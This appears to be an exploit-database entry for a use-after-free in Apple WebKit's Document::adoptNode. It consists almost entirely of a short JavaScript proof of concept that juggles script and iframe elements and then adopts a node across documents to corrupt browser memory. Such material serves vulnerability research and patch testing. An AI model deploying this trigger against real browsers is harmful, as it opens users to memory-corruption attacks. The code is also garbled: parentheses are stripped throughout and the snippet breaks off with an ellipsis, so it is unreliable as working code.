Apple WebKit - 'Document::adoptNode' Use-After-Free

var s = document.body.appendChilddocument.createElement'script'; s.type = '0'; s.textContent = 'document.body.appendChildparent.i0'; var i0 = s.appendChilddocument.createElement'iframe'; s.type = ''; var f = document.body.appendChilddocument.createElement'iframe'; f.contentDocument.adoptNodei0;...